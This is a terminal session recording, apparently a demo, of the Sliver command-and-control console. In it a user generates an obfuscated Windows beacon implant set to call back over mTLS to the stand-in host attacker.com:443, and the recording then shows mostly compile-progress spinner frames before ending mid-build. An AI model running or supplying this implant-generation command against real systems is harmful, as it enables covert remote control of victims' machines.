+[14.908132, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.e"]
+[14.993707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.ex"]
+[15.427513, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe"]
+[15.95164, "o", "\u001b[J\u001b[2K\r"]
+[15.952182, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\r\n\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 beacon implant binary (1m0s)\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"]
+[16.054085, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[16.154487, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[16.254959, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[16.355704, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[16.45606, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[16.556463, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[16.656856, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[16.757153, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[16.857447, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[16.957819, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[17.058208, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[17.158568, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[17.258966, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[17.35946, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[17.459916, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[17.560455, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[17.660855, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[17.763183, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[17.861645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[17.962051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[18.062439, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[18.162895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[18.263269, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[18.363695, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[18.464076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[18.564554, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[18.665214, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[18.76571, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[18.866136, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[18.966534, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[19.066918, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[19.167222, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[19.267616, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[19.368009, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[19.468418, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[19.568772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[19.669137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[19.769534, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[19.869907, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[19.970298, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[20.070699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[20.171098, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[20.271482, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[20.371884, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[20.472273, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[20.572694, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[20.673098, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[20.773502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[20.873903, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[20.974313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[21.074712, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[21.175096, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[21.275502, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[21.376149, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[21.476547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[21.576905, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[21.677312, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[21.777687, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[21.878097, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[21.978483, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[22.078864, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[22.179281, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[22.279671, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[22.380071, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[22.480427, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[22.580771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[22.681169, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[22.781562, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[22.881972, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[22.982331, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[23.082766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[23.183105, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[23.283498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[23.383944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[23.484236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[23.584636, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[23.685062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[23.785467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[23.885897, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[23.986321, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[24.086759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[24.187166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[24.287475, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[24.387901, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[24.488271, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[24.588657, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[24.689065, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[24.789467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[24.88987, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[24.990292, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[25.090709, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[25.191135, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[25.291551, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[25.391987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[25.49242, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[25.592834, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[25.693163, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[25.793585, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[25.893982, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[25.994356, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[26.094723, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[26.195172, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[26.295622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[26.396087, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[26.496532, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[26.596959, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[26.697402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[26.79782, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[26.898231, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[26.998582, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[27.099007, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[27.199433, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[27.2999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[27.400352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[27.500823, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[27.601142, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[27.701551, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[27.801948, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[27.902362, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[28.002761, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[28.103173, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[28.203584, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[28.304012, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[28.40444, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[28.504864, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[28.605202, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[28.705556, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[28.80599, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[28.9064, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[29.006944, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[29.107364, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[29.207783, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[29.308185, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[29.40876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[29.509184, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[29.609583, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[29.710009, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[29.810414, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[29.910815, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[30.011255, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[30.111699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[30.212078, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[30.312498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[30.412965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[30.513353, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[30.613763, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[30.714177, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[30.814615, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[30.915033, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[31.015441, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[31.115908, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[31.216293, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[31.316708, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[31.417136, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[31.517546, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[31.617956, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[31.718385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[31.818808, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[31.919252, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[32.019676, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[32.120074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[32.220516, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[32.320919, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[32.421326, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[32.521744, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[32.62216, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[32.722605, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[32.82298, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[32.923317, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[33.02407, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[33.124441, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[33.224846, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[33.325173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[33.425622, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[33.526046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[33.626492, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[33.726914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[33.82733, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[33.927765, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[34.028162, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[34.128487, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[34.228889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[34.329312, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[34.429731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[34.530105, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[34.630526, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[34.730944, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[34.831249, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[34.931636, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[35.032073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[35.132486, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[35.232875, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[35.333288, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[35.433609, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[35.534006, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[35.634472, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[35.734913, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[35.83535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[35.935774, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[36.036187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[36.136585, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[36.237009, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[36.33742, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[36.437844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[36.538405, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[36.638801, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[36.739211, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[36.839629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[36.940067, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[37.040478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[37.140892, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[37.241297, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[37.341697, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[37.442111, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[37.542537, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[37.642954, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[37.74336, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[37.843907, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[37.944306, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[38.044686, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[38.145196, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[38.245427, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[38.34584, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[38.446258, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[38.546641, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[38.647053, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[38.747372, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[38.847785, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[38.948202, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[39.048597, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[39.14901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[39.249407, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[39.349794, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[39.450216, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[39.5506, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[39.65101, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[39.751425, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[39.851835, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[39.952235, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[40.052669, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[40.153086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[40.253489, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[40.353916, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[40.454334, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[40.554749, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[40.655121, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[40.755512, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[40.855941, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[40.956349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[41.056764, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[41.157262, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[41.257569, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[41.357946, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[41.458384, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[41.558745, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[41.659156, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[41.759558, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[41.859978, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[41.960382, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[42.060792, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[42.161148, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[42.261538, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[42.361894, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[42.462312, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[42.562715, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[42.6631, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[42.763523, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[42.863937, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[42.964332, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[43.064767, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[43.165276, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[43.265675, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[43.366059, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[43.466459, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[43.566861, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[43.667263, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[43.767686, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[43.868081, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[43.968513, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[44.068939, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[44.16934, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[44.26973, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[44.37016, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[44.470572, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[44.57097, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[44.671395, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[44.771854, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[44.872212, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[44.972622, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[45.073035, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[45.173427, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[45.273831, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[45.374248, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[45.474648, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[45.575015, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[45.67536, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[45.775784, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[45.876195, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[45.976581, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[46.076994, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[46.177417, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[46.277828, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[46.378259, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[46.478643, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[46.579062, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[46.679483, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[46.779936, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[46.880336, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[46.980748, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[47.081175, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[47.181583, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[47.281996, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[47.382417, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[47.482822, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[47.583236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[47.683666, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[47.784081, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[47.884434, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[47.984844, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[48.085173, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[48.185572, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[48.285954, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[48.3864, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[48.486722, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[48.587155, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[48.687533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[48.787934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[48.888325, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[48.988634, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[49.088989, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[49.189391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[49.289774, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[49.390179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[49.490966, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[49.591386, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[49.69197, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[49.792603, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[49.892892, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[49.993266, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[50.093741, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[50.194145, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[50.294524, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[50.394942, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[50.495352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[50.595733, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[50.69614, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[50.796532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[50.896893, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[50.997281, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[51.097628, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[51.198063, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[51.298421, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[51.398825, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[51.499873, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[51.60024, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[51.70058, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[51.800993, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[51.901384, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[52.001699, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[52.102069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[52.202468, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[52.302861, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[52.403232, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[52.503626, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[52.604076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[52.704477, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[52.805056, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[52.905444, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[53.005825, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[53.110452, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[53.210782, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[53.31116, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[53.411619, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[53.511944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[53.614903, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[53.715292, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
